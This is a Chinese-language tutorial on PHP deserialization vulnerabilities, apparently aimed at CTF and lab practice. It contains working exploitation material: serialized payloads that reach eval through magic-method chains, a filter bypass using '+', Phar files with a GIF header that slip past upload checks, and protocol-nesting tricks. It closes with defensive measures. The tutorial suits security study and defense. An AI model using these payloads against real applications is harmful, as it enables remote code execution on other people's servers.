PHP反序列化入门手把手详解
字数 1878 2025-08-12 11:34:48
PHP反序列化漏洞详解与实战教学
一、序列化与反序列化基础
1. 基本概念
- 序列化:将变量转换为可保存或传输的字符串的过程
- 反序列化:在适当的时候把这个字符串再转化成原来的变量使用
- 优点:可以轻松地存储和传输数据,使程序更具维护性
2. 序列化格式解析
示例序列化字符串:
O:6:"Person":3:{s:4:"name";s:3:"tom"; s:11:"Personage"; i:18; s:6:"*sex"; s:3:"boy";}
各部分的含义:
O:6:"Person":对象类型,类名长度为6,类名为"Person":3::3个成员属性s:4:"name":字符串类型属性名,长度4s:3:"tom":字符串类型属性值,长度3s:11:"Personage":私有属性,属性名前加类名i:18:整型属性值s:6:"*sex":受保护属性,特征为*号
3. 特殊属性处理
- private属性:序列化为
%00类名%00属性名(%00为ASCII码为0的字符) - protected属性:序列化为
%00*%00属性名
二、PHP魔术方法
魔术方法是在特定条件下自动调用的方法,在反序列化漏洞中起关键作用:
- __construct():构造函数,创建对象时调用
- __destruct():析构函数,对象销毁时调用
- __toString():对象被当做字符串时调用
- __invoke():对象被当做函数调用时触发
- __call():调用不可访问方法时触发
- __sleep():serialize()时调用,可指定要序列化的属性
- __wakeup():unserialize()时调用,用于初始化操作
三、反序列化漏洞基础练习
练习1:基础代码执行
环境代码:
class one {
var $b = 'phpinfo();';
function action() {
eval($this->b);
}
}
$a = unserialize($_GET[1]);
$a->action();
攻击步骤:
-
构造序列化payload:
$a = new one(); $a->b = "phpinfo();"; echo serialize($a);输出:
O:3:"one":1:{s:1:"b";s:10:"phpinfo();";} -
通过GET参数触发:
?1=O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}
练习2:利用魔术方法链
环境代码:
class one {
var $b = 'echo 123;';
function action() {
eval($this->b);
}
}
class Student {
var $a;
function __destruct() {
$this->a->action();
}
}
unserialize($_GET[1]);
攻击步骤:
-
构造对象链:
$student = new Student(); $one = new one(); $one->b = "phpinfo();"; $student->a = $one; echo serialize($student);输出:
O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}} -
触发执行:
?1=O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}
四、反序列化绕过技巧
1. 数字前缀绕过
过滤代码:
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches)) { die('Hacker!'); }
绕过方法:
使用+代替数字(URL编码为%2b):
O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}
五、Phar文件反序列化
1. Phar文件结构
- stub:文件标识,必须以
__HALT_COMPILER();?>结尾 - manifest:存储序列化的meta-data(漏洞利用核心)
- content:被压缩文件内容
- signature(可选):签名
2. 生成Phar文件
环境配置:
- PHP >= 5.2
- php.ini中设置
phar.readonly = Off
生成代码:
class AnyClass {
var $output = 'phpinfo();';
function __destruct() {
eval($this->output);
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new AnyClass();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
3. Phar利用条件
- Phar文件能上传到服务器
- 有可用的魔术方法作为"跳板"
- 文件操作函数参数可控,且
./、../、phar等特殊字符未被过滤
4. 可利用的文件操作函数
包括但不限于:
- file_exists()
- is_dir()
- file_get_contents()
- fopen()
- stat()
- 等大部分文件系统函数
5. 绕过技巧
-
协议嵌套:
compress.bzip2://phar:///test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt -
修改文件头:
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); -
修改后缀名:将.phar改为.gif等允许上传的格式
六、综合实战案例
案例1:简单Phar利用
目标代码:
class Files {
var $b = 'echo ok;';
function __destruct() {
eval($this->b);
}
}
is_dir('phar://phar.phar/test.txt');
攻击步骤:
- 生成包含恶意代码的phar.phar文件
- 上传到服务器
- 访问目标URL触发反序列化
案例2:多魔术方法链利用
目标代码:
class A {
public $mod1;
public function __destruct() {
$this->mod1->test1();
}
}
class B {
public $mod1;
public function test1() {
$this->mod1->test2();
}
}
class C {
public $mod1;
public function __call($test2, $arr) {
$s1 = $this->mod1;
$s1();
}
}
class D {
public $mod1;
public function __invoke() {
$this->mod2 = "字符串拼接" . $this->mod1;
}
}
class E {
public $str1;
public function __toString() {
$this->str1->get_flag();
return "1";
}
}
class GetFlag {
public function get_flag() {
echo "flag:" . "GG的love";
}
}
unserialize($_GET['string']);
攻击链构造:
- A的__destruct()调用B的test1()
- B的test1()调用C的__call()
- C的__call()调用D的__invoke()
- D的__invoke()触发E的__toString()
- E的__toString()调用GetFlag的get_flag()
Payload构造:
$c = new A();
$c->mod1 = new B();
$c->mod1->mod1 = new C();
$c->mod1->mod1->mod1 = new D();
$c->mod1->mod1->mod1->mod1 = new E();
$c->mod1->mod1->mod1->mod1->str1 = new GetFlag();
echo serialize($c);
七、防御措施
- 输入控制:不要直接将用户输入放入反序列化操作
- 参数过滤:对反序列化参数进行长度、特定字符等限制
- 白名单:限制可反序列化的类
- 鉴权:对反序列化接口进行权限控制
- 更新补丁:及时更新PHP版本,修复已知漏洞
八、总结
PHP反序列化漏洞的核心在于:
- 理解序列化格式和魔术方法的触发条件
- 构造恶意对象链利用魔术方法自动执行
- 通过Phar文件扩展攻击面,不依赖unserialize()函数
- 掌握各种绕过过滤的技巧
通过由浅入深的练习,可以全面掌握PHP反序列化漏洞的原理、利用方法和防御措施。